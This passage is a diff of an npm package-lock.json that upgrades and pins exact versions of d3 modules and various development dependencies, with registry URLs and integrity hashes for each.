"sha512-9yVlqvZcSOMhCYzniHE7EVUws7Fa1zgw+/EAV2BxJoG3ME19V6BQFBwI855XQDsxyOuG7NibqRMTtiF/Qup46g==", "requires": { - "commander": "2", - "iconv-lite": "0.4", - "rw": "1" + "commander": "2.15.1", + "iconv-lite": "0.4.18", + "rw": "1.3.3" } }, "d3-ease": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/d3-ease/-/d3-ease-1.0.5.tgz", - "integrity": "sha512-Ct1O//ly5y5lFM9YTdu+ygq7LleSgSE4oj7vUt9tPLHUi8VCV7QoizGpdWRWAwCO9LdYzIrQDg97+hGVdsSGPQ==" + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/d3-ease/-/d3-ease-1.0.6.tgz", + "integrity": "sha512-SZ/lVU7LRXafqp7XtIcBdxnWl8yyLpgOmzAk0mWBI9gXNzLDx5ybZgnRbH9dN/yY5tzVBqCQ9avltSnqVwessQ==" }, "d3-fetch": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/d3-fetch/-/d3-fetch-1.1.2.tgz", "integrity": "sha512-S2loaQCV/ZeyTyIF2oP8D1K9Z4QizUzW7cWeAOAS4U88qOt3Ucf6GsmgthuYSdyB2HyEm4CeGvkQxWsmInsIVA==", "requires": { - "d3-dsv": "1" + "d3-dsv": "1.2.0" } }, "d3-force": { @@ -3785,52 +4038,52 @@ "resolved": "https://registry.npmjs.org/d3-force/-/d3-force-1.2.1.tgz", "integrity": "sha512-HHvehyaiUlVo5CxBJ0yF/xny4xoaxFxDnBXNvNcfW9adORGZfyNF1dj6DGLKyk4Yh3brP/1h3rnDzdIAwL08zg==", "requires": { - "d3-collection": "1", - "d3-dispatch": "1", - "d3-quadtree": "1", - "d3-timer": "1" + "d3-collection": "1.0.7", + "d3-dispatch": "1.0.6", + "d3-quadtree": "1.0.7", + "d3-timer": "1.0.10" } }, "d3-format": { - "version": "1.3.2", - "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-1.3.2.tgz", - "integrity": "sha512-Z18Dprj96ExragQ0DeGi+SYPQ7pPfRMtUXtsg/ChVIKNBCzjO8XYJvRTC1usblx52lqge56V5ect+frYTQc8WQ==" + "version": "1.4.2", + "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-1.4.2.tgz", + "integrity": "sha512-gco1Ih54PgMsyIXgttLxEhNy/mXxq8+rLnCb5shQk+P5TsiySrwWU5gpB4zen626J4LIwBxHvDChyA8qDm57ww==" }, "d3-geo": { - "version": "1.11.6", - "resolved": "https://registry.npmjs.org/d3-geo/-/d3-geo-1.11.6.tgz", - "integrity": "sha512-z0J8InXR9e9wcgNtmVnPTj0TU8nhYT6lD/ak9may2PdKqXIeHUr8UbFLoCtrPYNsjv6YaLvSDQVl578k6nm7GA==", + "version": "1.11.9", + "resolved": "https://registry.npmjs.org/d3-geo/-/d3-geo-1.11.9.tgz", + "integrity": "sha512-9edcH6J3s/Aa3KJITWqFJbyB/8q3mMlA9Fi7z6yy+FAYMnRaxmC7jBhUnsINxVWD14GmqX3DK8uk7nV6/Ekt4A==", "requires": { - "d3-array": "1" + "d3-array": "1.2.4" } }, "d3-hierarchy": { - "version": "1.1.8", - "resolved": "https://registry.npmjs.org/d3-hierarchy/-/d3-hierarchy-1.1.8.tgz", - "integrity": "sha512-L+GHMSZNwTpiq4rt9GEsNcpLa4M96lXMR8M/nMG9p5hBE0jy6C+3hWtyZMenPQdwla249iJy7Nx0uKt3n+u9+w==" + "version": "1.1.9", + "resolved": "https://registry.npmjs.org/d3-hierarchy/-/d3-hierarchy-1.1.9.tgz", + "integrity": "sha512-j8tPxlqh1srJHAtxfvOUwKNYJkQuBFdM1+JAUfq6xqH5eAqf93L7oG1NVqDa4CpFZNvnNKtCYEUC8KY9yEn9lQ==" }, "d3-interpolate": { - "version": "1.3.2", - "resolved": "https://registry.npmjs.org/d3-interpolate/-/d3-interpolate-1.3.2.tgz", - "integrity": "sha512-NlNKGopqaz9qM1PXh9gBF1KSCVh+jSFErrSlD/4hybwoNX/gt1d8CDbDW+3i+5UOHhjC6s6nMvRxcuoMVNgL2w==", + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/d3-interpolate/-/d3-interpolate-1.3.3.tgz", + "integrity": "sha512-wTsi4AqnC2raZ3Q9eqFxiZGUf5r6YiEdi23vXjjKSWXFYLCQNUtBVMk6uk2tg4cOY6YrjRdmSmI/Mf0ze1zPzQ==", "requires": { - "d3-color": "1" + "d3-color": "1.4.0" } }, "d3-path": { - "version": "1.0.8", - "resolved": "https://registry.npmjs.org/d3-path/-/d3-path-1.0.8.tgz", - "integrity": "sha512-J6EfUNwcMQ+aM5YPOB8ZbgAZu6wc82f/0WFxrxwV6Ll8wBwLaHLKCqQ5Imub02JriCVVdPjgI+6P3a4EWJCxAg==" + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/d3-path/-/d3-path-1.0.9.tgz", + "integrity": "sha512-VLaYcn81dtHVTjEHd8B+pbe9yHWpXKZUC87PzoFmsFrJqgFwDe/qxfp5MlfsfM1V5E/iVt0MmEbWQ7FVIXh/bg==" }, "d3-polygon": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/d3-polygon/-/d3-polygon-1.0.5.tgz", - "integrity": "sha512-RHhh1ZUJZfhgoqzWWuRhzQJvO7LavchhitSTHGu9oj6uuLFzYZVeBzaWTQ2qSO6bz2w55RMoOCf0MsLCDB6e0w==" + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/d3-polygon/-/d3-polygon-1.0.6.tgz", + "integrity": "sha512-k+RF7WvI08PC8reEoXa/w2nSg5AUMTi+peBD9cmFc+0ixHfbs4QmxxkarVal1IkVkgxVuk9JSHhJURHiyHKAuQ==" }, "d3-quadtree": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/d3-quadtree/-/d3-quadtree-1.0.6.tgz", - "integrity": "sha512-NUgeo9G+ENQCQ1LsRr2qJg3MQ4DJvxcDNCiohdJGHt5gRhBW6orIB5m5FJ9kK3HNL8g9F4ERVoBzcEwQBfXWVA==" + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/d3-quadtree/-/d3-quadtree-1.0.7.tgz", + "integrity": "sha512-RKPAeXnkC59IDGD0Wu5mANy0Q2V28L+fNe65pOCXVdVuTJS3WPKaJlFHer32Rbh9gIo9qMuJXio8ra4+YmIymA==" }, "d3-random": { "version": "1.1.2", @@ -3842,12 +4095,12 @@ "resolved": "https://registry.npmjs.org/d3-scale/-/d3-scale-2.2.2.tgz", "integrity": "sha512-LbeEvGgIb8UMcAa0EATLNX0lelKWGYDQiPdHj+gLblGVhGLyNbaCn3EvrJf0A3Y/uOOU5aD6MTh5ZFCdEwGiCw==", "requires": { - "d3-array": "^1.2.0", - "d3-collection": "1", - "d3-format": "1", - "d3-interpolate": "1", - "d3-time": "1", - "d3-time-format": "2" + "d3-array": "1.2.4", + "d3-collection": "1.0.7", + "d3-format": "1.4.2", + "d3-interpolate": "1.3.3", + "d3-time": "1.1.0", + "d3-time-format": "2.2.2" } }, "d3-scale-chromatic": { @@ -3855,52 +4108,52 @@ "resolved": "https://registry.npmjs.org/d3-scale-chromatic/-/d3-scale-chromatic-1.5.0.tgz", "integrity": "sha512-ACcL46DYImpRFMBcpk9HhtIyC7bTBR4fNOPxwVSl0LfulDAwyiHyPOTqcDG1+t5d4P9W7t/2NAuWu59aKko/cg==", "requires": { - "d3-color": "1", - "d3-interpolate": "1" + "d3-color": "1.4.0", + "d3-interpolate": "1.3.3" } }, "d3-selection": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/d3-selection/-/d3-selection-1.4.0.tgz", - "integrity": "sha512-EYVwBxQGEjLCKF2pJ4+yrErskDnz5v403qvAid96cNdCMr8rmCYfY5RGzWz24mdIbxmDf6/4EAH+K9xperD5jg==" + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/d3-selection/-/d3-selection-1.4.1.tgz", + "integrity": "sha512-BTIbRjv/m5rcVTfBs4AMBLKs4x8XaaLkwm28KWu9S2vKNqXkXt2AH2Qf0sdPZHjFxcWg/YL53zcqAz+3g4/7PA==" }, "d3-shape": { - "version": "1.3.5", - "resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-1.3.5.tgz", - "integrity": "sha512-VKazVR3phgD+MUCldapHD7P9kcrvPcexeX/PkMJmkUov4JM8IxsSg1DvbYoYich9AtdTsa5nNk2++ImPiDiSxg==", + "version": "1.3.7", + "resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-1.3.7.tgz", + "integrity": "sha512-EUkvKjqPFUAZyOlhY5gzCxCeI0Aep04LwIRpsZ/mLFelJiUfnK56jo5JMDSE7yyP2kLSb6LtF+S5chMk7uqPqw==", "requires": { - "d3-path": "1" + "d3-path": "1.0.9" } }, "d3-time": { - "version": "1.0.11", - "resolved": "https://registry.npmjs.org/d3-time/-/d3-time-1.0.11.tgz", - "integrity": "sha512-Z3wpvhPLW4vEScGeIMUckDW7+3hWKOQfAWg/U7PlWBnQmeKQ00gCUsTtWSYulrKNA7ta8hJ+xXc6MHrMuITwEw==" + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/d3-time/-/d3-time-1.1.0.tgz", + "integrity": "sha512-Xh0isrZ5rPYYdqhAVk8VLnMEidhz5aP7htAADH6MfzgmmicPkTo8LhkLxci61/lCB7n7UmE3bN0leRt+qvkLxA==" }, "d3-time-format": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/d3-time-format/-/d3-time-format-2.1.3.tgz", - "integrity": "sha512-6k0a2rZryzGm5Ihx+aFMuO1GgelgIz+7HhB4PH4OEndD5q2zGn1mDfRdNrulspOfR6JXkb2sThhDK41CSK85QA==", + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/d3-time-format/-/d3-time-format-2.2.2.tgz", + "integrity": "sha512-pweL2Ri2wqMY+wlW/wpkl8T3CUzKAha8S9nmiQlMABab8r5MJN0PD1V4YyRNVaKQfeh4Z0+VO70TLw6ESVOYzw==", "requires": { - "d3-time": "1" + "d3-time": "1.1.0" } }, "d3-timer": { - "version": "1.0.9", - "resolved": "https://registry.npmjs.org/d3-timer/-/d3-timer-1.0.9.tgz", - "integrity": "sha512-rT34J5HnQUHhcLvhSB9GjCkN0Ddd5Y8nCwDBG2u6wQEeYxT/Lf51fTFFkldeib/sE/J0clIe0pnCfs6g/lRbyg==" + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/d3-timer/-/d3-timer-1.0.10.tgz", + "integrity": "sha512-B1JDm0XDaQC+uvo4DT79H0XmBskgS3l6Ve+1SBCfxgmtIb1AVrPIoqd+nPSv+loMX8szQ0sVUhGngL7D5QPiXw==" }, "d3-transition": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/d3-transition/-/d3-transition-1.2.0.tgz", - "integrity": "sha512-VJ7cmX/FPIPJYuaL2r1o1EMHLttvoIuZhhuAlRoOxDzogV8iQS6jYulDm3xEU3TqL80IZIhI551/ebmCMrkvhw==", + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/d3-transition/-/d3-transition-1.3.2.tgz", + "integrity": "sha512-sc0gRU4PFqZ47lPVHloMn9tlPcv8jxgOQg+0zjhfZXMQuvppjG6YuwdMBE0TuqCZjeJkLecku/l9R0JPcRhaDA==", "requires": { - "d3-color": "1", - "d3-dispatch": "1", - "d3-ease": "1", - "d3-interpolate": "1", - "d3-selection": "^1.1.0", - "d3-timer": "1" + "d3-color": "1.4.0", + "d3-dispatch": "1.0.6", + "d3-ease": "1.0.6", + "d3-interpolate": "1.3.3", + "d3-selection": "1.4.1", + "d3-timer": "1.0.10" } }, "d3-voronoi": { @@ -3913,11 +4166,11 @@ "resolved": "https://registry.npmjs.org/d3-zoom/-/d3-zoom-1.8.3.tgz", "integrity": "sha512-VoLXTK4wvy1a0JpH2Il+F2CiOhVu7VRXWF5M/LroMIh3/zBAC3WAt7QoIvPibOavVo20hN6/37vwAsdBejLyKQ==", "requires": { - "d3-dispatch": "1", - "d3-drag": "1", - "d3-interpolate": "1", - "d3-selection": "1", - "d3-transition": "1" + "d3-dispatch": "1.0.6", + "d3-drag": "1.2.5", + "d3-interpolate": "1.3.3", + "d3-selection": "1.4.1", + "d3-transition": "1.3.2" } }, "dashdash": { @@ -3925,7 +4178,7 @@ "resolved": "https://registry.npmjs.org/dashdash/-/dashdash-1.14.1.tgz", "integrity": "sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA=", "requires": { - "assert-plus": "^1.0.0" + "assert-plus": "1.0.0" } }, "date-format": { @@ -3934,20 +4187,14 @@ "integrity": "sha1-YV6CjiM90aubua4JUODOzPpuytg=", "dev": true }, - "date-now": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/date-now/-/date-now-0.1.4.tgz", - "integrity": "sha1-6vQ5/U1ISK105cx9vvIAZyueNFs=", - "dev": true - }, "dateformat": { "version": "1.0.12", "resolved": "https://registry.npmjs.org/dateformat/-/dateformat-1.0.12.tgz", "integrity": "sha1-nxJLZ1lMk3/3BpMuSmQsyo27/uk=", "dev": true, "requires": { - "get-stdin": "^4.0.1", - "meow": "^3.3.0" + "get-stdin": "4.0.1", + "meow": "3.7.0" } }, "debug": { @@ -3976,14 +4223,30 @@ "integrity": "sha512-+QeIQyN5ZuO+3Uk5DYh6/1eKO0m0YmJFGNmFHGACpf1ClL1nmlV/p4gNgbl2pJGxgXb4faqo6UE+M5ACEMyVcw==", "dev": true, "requires": { - "type-detect": "^4.0.0" + "type-detect": "4.0.8" } }, "deep-equal": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/deep-equal/-/deep-equal-1.0.1.tgz", - "integrity": "sha1-9dJgKStmDghO/0zbyfCK0yR0SLU=", - "dev": true + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/deep-equal/-/deep-equal-1.1.1.tgz", + "integrity": "sha512-yd9c5AdiqVcR+JjcwUQb9DkhJc8ngNr0MahEBGvDiJw8puWab2yZlh+nkasOnZP+EGTAP6rRp2JzJhJZzvNF8g==", + "dev": true, + "requires": { + "is-arguments": "1.0.4", + "is-date-object": "1.0.1", + "is-regex": "1.0.4", + "object-is": "1.0.1", + "object-keys": "1.1.1", + "regexp.prototype.flags": "1.2.0" + }, + "dependencies": { + "object-keys": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz", + "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", + "dev": true + } + } }, "deep-is": { "version": "0.1.3", @@ -3992,49 +4255,13 @@ "dev": true }, "default-gateway": { - "version": "2.7.2", - "resolved": "https://registry.npmjs.org/default-gateway/-/default-gateway-2.7.2.tgz", - "integrity": "sha512-lAc4i9QJR0YHSDFdzeBQKfZ1SRDG3hsJNEkrpcZa8QhBfidLAilT60BDEIVUUGqosFp425KOgB3uYqcnQrWafQ==", + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/default-gateway/-/default-gateway-4.2.0.tgz", + "integrity": "sha512-h6sMrVB1VMWVrW13mSc6ia/DwYYw5MN6+exNu1OaJeFac5aSAvwM7lZ0NVfTABuSkQelr4h5oebg3KB1XPdjgA==", "dev": true, "requires": { - "execa": "^0.10.0", - "ip-regex": "^2.1.0" - }, - "dependencies": { - "cross-spawn": { - "version": "6.0.5", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", - "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", - "dev": true, - "requires": { - "nice-try": "^1.0.4", - "path-key": "^2.0.1", - "semver": "^5.5.0", - "shebang-command": "^1.2.0", - "which": "^1.2.9" - } - }, - "execa": { - "version": "0.10.0", - "resolved": "https://registry.npmjs.org/execa/-/execa-0.10.0.tgz", - "integrity": "sha512-7XOMnz8Ynx1gGo/3hyV9loYNPWM94jG3+3T3Y8tsfSstFmETmENCMU/A/zj8Lyaj1lkgEepKepvd6240tBRvlw==", - "dev": true, - "requires": { - "cross-spawn": "^6.0.0", - "get-stream": "^3.0.0", - "is-stream": "^1.1.0", - "npm-run-path": "^2.0.0", - "p-finally": "^1.0.0", - "signal-exit": "^3.0.0", - "strip-eof": "^1.0.0" - } - }, - "semver": { - "version": "5.5.1", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.5.1.tgz", - "integrity": "sha512-PqpAxfrEhlSUWge8dwIp4tZnQ25DIOthpiaHNIthsjEFQD6EvqUKUDM7L8O2rShkFccYo1VjJR0coWfNkCubRw==", - "dev": true - } + "execa": "1.0.0", + "ip-regex": "2.1.0" } }, "define-properties": { @@ -4043,7 +4270,7 @@ "integrity": "sha512-3MqfYKj2lLzdMSf8ZIZE/V+Zuy+BgD6f164e8K2w7dgnpKArBDerGYpM46IYYcjnkdPNMjPk9A6VFB8+3SKlXQ==", "dev": true, "requires": { - "object-keys": "^1.0.12" + "object-keys": "1.0.12" } }, "define-property": { @@ -4052,8 +4279,8 @@ "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==", "dev": true, "requires": { - "is-descriptor": "^1.0.2", - "isobject": "^3.0.1" + "is-descriptor": "1.0.2", + "isobject": "3.0.1" }, "dependencies": { "is-accessor-descriptor": { @@ -4062,7 +4289,7 @@ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", "dev": true, "requires": { - "kind-of": "^6.0.0" + "kind-of": "6.0.2" } }, "is-data-descriptor": { @@ -4071,7 +4298,7 @@ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", "dev": true, "requires": { - "kind-of": "^6.0.0" + "kind-of": "6.0.2" } }, "is-descriptor": { @@ -4080,9 +4307,9 @@ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", "dev": true, "requires": { - "is-accessor-descriptor": "^1.0.0", - "is-data-descriptor": "^1.0.0", - "kind-of": "^6.0.2" + "is-accessor-descriptor": "1.0.0", + "is-data-descriptor": "1.0.0", + "kind-of": "6.0.2" } }, "isobject": { @@ -4100,18 +4327,26 @@ } }, "del": { - "version": "2.2.2", - "resolved": "https://registry.npmjs.org/del/-/del-2.2.2.tgz", - "integrity": "sha1-wSyYHQZ4RshLyvhiz/kw2Qf/0ag=", + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/del/-/del-4.1.1.tgz", + "integrity": "sha512-QwGuEUouP2kVwQenAsOof5Fv8K9t3D8Ca8NxcXKrIpEHjTXK5J2nXLdP+ALI1cgv8wj7KuwBhTwBkOZSJKM5XQ==", "dev": true, "requires": { - "globby": "^5.0.0", - "is-path-cwd": "^1.0.0", - "is-path-in-cwd": "^1.0.0", - "object-assign": "^4.0.1", - "pify": "^2.0.0", - "pinkie-promise": "^2.0.0", - "rimraf": "^2.2.8" + "@types/glob": "7.1.1", + "globby": "6.1.0", + "is-path-cwd": "2.2.0", + "is-path-in-cwd": "2.1.0", + "p-map": "2.1.0", + "pify": "4.0.1", + "rimraf": "2.7.1" + }, + "dependencies": { + "pify": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz", + "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==", + "dev": true + } } }, "delayed-stream": { @@ -4131,13 +4366,13 @@ "dev": true }, "des.js": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/des.js/-/des.js-1.0.0.tgz", - "integrity": "sha1-wHTS4qpqipoH29YfmhXCzYPsjsw=", + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/des.js/-/des.js-1.0.1.tgz", + "integrity": "sha512-Q0I4pfFrv2VPd34/vfLrFOoRmlYj3OV50i7fskps1jZWK1kApMWWT9G6RRUeYedLcBDIhnSDaUvJMb3AhUlaEA==", "dev": true, "requires": { - "inherits": "^2.0.1", - "minimalistic-assert": "^1.0.0" + "inherits": "2.0.3", + "minimalistic-assert": "1.0.1" } }, "destroy": { @@ -4146,13 +4381,19 @@ "integrity": "sha1-l4hXRCxEdJ5CBmE+N5RiBYJqvYA=", "dev": true }, + "detect-file": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/detect-file/-/detect-file-1.0.0.tgz", + "integrity": "sha1-8NZtA2cqglyxtzvbP+YjEMjlUrc=", + "dev": true + }, "detect-indent": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/detect-indent/-/detect-indent-4.0.0.tgz", "integrity": "sha1-920GQ1LN9Docts5hnE7jqUdd4gg=", "dev": true, "requires": { - "repeating": "^2.0.0" + "repeating": "2.0.1" } }, "detect-node": { @@ -4179,9 +4420,9 @@ "integrity": "sha512-kqag/Nl+f3GwyK25fhUMYj81BUOrZ9IuJsjIcDE5icNM9FJHAVm3VcUDxdLPoQtTuUylWm6ZIknYJwwaPxsUzg==", "dev": true, "requires": { - "bn.js": "^4.1.0", - "miller-rabin": "^4.0.0", - "randombytes": "^2.0.0" + "bn.js": "4.11.8", + "miller-rabin": "4.0.1", + "randombytes": "2.1.0" } }, "dns-equal": { @@ -4196,8 +4437,8 @@ "integrity": "sha512-0UxfQkMhYAUaZI+xrNZOz/as5KgDU0M/fQ9b6SpkyLbk3GEswDi6PADJVaYJradtRVsRIlF1zLyOodbcTCDzUg==", "dev": true, "requires": { - "ip": "^1.1.0", - "safe-buffer": "^5.0.1" + "ip": "1.1.5", + "safe-buffer": "5.1.1" } }, "dns-txt": { @@ -4206,16 +4447,16 @@ "integrity": "sha1-uR2Ab10nGI5Ks+fRB9iBocxGQrY=", "dev": true, "requires": { - "buffer-indexof": "^1.0.0" + "buffer-indexof": "1.1.1" } }, "doctrine": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz", - "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==", + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-3.0.0.tgz", + "integrity": "sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==", "dev": true, "requires": { - "esutils": "^2.0.2" + "esutils": "2.0.2" } }, "dom-converter": { @@ -4224,7 +4465,7 @@ "integrity": "sha1-pF71cnuJDJv/5tfIduexnLDhfzs=", "dev": true, "requires": { - "utila": "~0.3" + "utila": "0.3.3" }, "dependencies": { "utila": { @@ -4240,7 +4481,7 @@ "resolved": "https://registry.npmjs.org/dom-helpers/-/dom-helpers-3.4.0.tgz", "integrity": "sha512-LnuPJ+dwqKDIyotW1VzmOZ5TONUN7CwkCR5hrgawTUbkBGYdeoNLZo6nNfGkCrjtE1nXXaj7iMMpDa8/d9WoIA==", "requires": { - "@babel/runtime": "^7.1.2" + "@babel/runtime": "7.1.5" } }, "dom-serialize": { @@ -4249,10 +4490,10 @@ "integrity": "sha1-ViromZ9Evl6jB29UGdzVnrQ6yVs=", "dev": true, "requires": { - "custom-event": "~1.0.0", - "ent": "~2.2.0", - "extend": "^3.0.0", - "void-elements": "^2.0.0" + "custom-event": "1.0.1", + "ent": "2.2.0", + "extend": "3.0.1", + "void-elements": "2.0.1" } }, "dom-serializer": { @@ -4261,8 +4502,8 @@ "integrity": "sha1-BzxpdUbOB4DOI75KKOKT5AvDDII=", "dev": true, "requires": { - "domelementtype": "~1.1.1", - "entities": "~1.1.1" + "domelementtype": "1.1.3", + "entities": "1.1.1" }, "dependencies": { "domelementtype": { @@ -4297,7 +4538,7 @@ "integrity": "sha1-0mRvXlf2w7qxHPbLBdPArPdBJZQ=", "dev": true, "requires": { - "domelementtype": "1" + "domelementtype": "1.3.0" } }, "domutils": { @@ -4306,8 +4547,8 @@ "integrity": "sha1-3NhIiib1Y9YQeeSMn3t+Mjc2gs8=", "dev": true, "requires": { - "dom-serializer": "0", - "domelementtype": "1" + "dom-serializer": "0.1.0", + "domelementtype": "1.3.0" } }, "downloadjs": { @@ -4316,15 +4557,15 @@ "integrity": "sha1-9p+W+UDg0FU9rCkROYZaPNAQHjw=" }, "duplexify": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/duplexify/-/duplexify-3.6.0.tgz", - "integrity": "sha512-fO3Di4tBKJpYTFHAxTU00BcfWMY9w24r/x21a6rZRbsD/ToUgGxsMbiGRmB7uVAXeGKXD9MwiLZa5E97EVgIRQ==", + "version": "3.7.1", + "resolved": "https://registry.npmjs.org/duplexify/-/duplexify-3.7.1.tgz", + "integrity": "sha512-07z8uv2wMyS51kKhD1KsdXJg5WQ6t93RneqRxUHnskXVtlYYkLqM0gqStQZ3pj073g687jPCHrqNfCzawLYh5g==", "dev": true, "requires": { - "end-of-stream": "^1.0.0", - "inherits": "^2.0.1", - "readable-stream": "^2.0.0", - "stream-shift": "^1.0.0" + "end-of-stream": "1.4.4", + "inherits": "2.0.3", + "readable-stream": "2.3.6", + "stream-shift": "1.0.0" }, "dependencies": { "isarray": { @@ -4334,9 +4575,9 @@ "dev": true }, "process-nextick-args": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", - "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", "dev": true }, "readable-stream": { @@ -4345,13 +4586,13 @@ "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.1", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" } }, "string_decoder": { @@ -4360,7 +4601,7 @@ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "dev": true, "requires": { - "safe-buffer": "~5.1.0" + "safe-buffer": "5.1.1" } } } @@ -4371,7 +4612,7 @@ "integrity": "sha1-D8c6ntXw1Tw4GTOYUj735UN3dQU=", "optional": true, "requires": { - "jsbn": "~0.1.0" + "jsbn": "0.1.1" } }, "ee-first": { @@ -4392,24 +4633,25 @@ "integrity": "sha1-L14VgaKW61J1IQwUG8VjQuIY+HY=" }, "elliptic": { - "version": "6.4.1", - "resolved": "https://registry.npmjs.org/elliptic/-/elliptic-6.4.1.tgz", - "integrity": "sha512-BsXLz5sqX8OHcsh7CqBMztyXARmGQ3LWPtGjJi6DiJHq5C/qvi9P3OqgswKSDftbu8+IoI/QDTAm2fFnQ9SZSQ==", + "version": "6.5.1", + "resolved": "https://registry.npmjs.org/elliptic/-/elliptic-6.5.1.tgz", + "integrity": "sha512-xvJINNLbTeWQjrl6X+7eQCrIy/YPv5XCpKW6kB5mKvtnGILoLDcySuwomfdzt0BMdLNVnuRNTuzKNHj0bva1Cg==", "dev": true, "requires": { - "bn.js": "^4.4.0", - "brorand": "^1.0.1", - "hash.js": "^1.0.0", - "hmac-drbg": "^1.0.0", - "inherits": "^2.0.1", - "minimalistic-assert": "^1.0.0", - "minimalistic-crypto-utils": "^1.0.0" + "bn.js": "4.11.8", + "brorand": "1.1.0", + "hash.js": "1.1.7", + "hmac-drbg": "1.0.1", + "inherits": "2.0.3", + "minimalistic-assert": "1.0.1", + "minimalistic-crypto-utils": "1.0.1" } }, - "emitter-component": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/emitter-component/-/emitter-component-1.1.1.tgz", - "integrity": "sha1-Bl4tvtaVm/RwZ57avq95gdEAOrY=" + "emoji-regex": { + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-7.0.3.tgz", + "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==", + "dev": true }, "emojis-list": { "version": "2.1.0", @@ -4427,30 +4669,30 @@ "resolved": "https://registry.npmjs.org/encoding/-/encoding-0.1.12.tgz", "integrity": "sha1-U4tm8+5izRq1HsMjgp0flIDHS+s=", "requires": { - "iconv-lite": "~0.4.13" + "iconv-lite": "0.4.18" } }, 